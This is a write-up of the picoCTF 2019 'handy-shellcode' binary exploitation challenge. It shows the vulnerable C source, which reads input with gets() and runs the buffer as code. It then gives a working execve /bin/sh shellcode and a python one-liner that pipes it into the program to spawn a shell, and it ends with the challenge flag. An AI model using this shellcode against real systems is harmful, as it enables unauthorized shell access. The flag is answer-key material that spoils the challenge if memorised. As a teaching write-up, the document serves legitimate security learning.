Binary Exploitation

handy-shellcode

picoCTF 2019

12 February 2020

Points: 50

Problem :lock:

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?

// relevant code
void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){
  ...
  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}
Full code

Download vuln executable

Download vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

Hint :bulb:

You might be able to find some good shellcode online.

Solution :key:

The key is to not overthink it, I googled a bit and found this, now we have a shellcode written as a string.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

If we try and feed it as it is, by running the program and then pasting in the shellcode, we get:

it doesn't work

The reason it doesn’t work is because a shellcode actually needs to be written in binary, those \xSOMETHING will be treated as strings, which means they can’t be executed, so we have to convert that string into actual binary code.

it works!

Well it looks like it worked because we didn’t get a SIGSEGV this time, but we aren’t getting a shell either. Now, from this post we know that we did spawn the shell, but we just didn’t give it any commands to run, so the shell just exits. To prevent that (and actually use our shell), we’re going to use the “cat with no parameters” technique (explained in the post mentioned).

shell spawned

Time to try it in the ssh server! But wait, we don’t have write permission there so we can’t simply write the binary code into a file and then cat the_payload_file, so we’re going to use this python one-liner instead, which does the same thing, print the shellcode string as binary.

(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat) | ./vuln

flag

Flag :checkered_flag:

picoCTF{h4ndY_d4ndY_sh311c0d3_55c521fe}

Takeaway :books: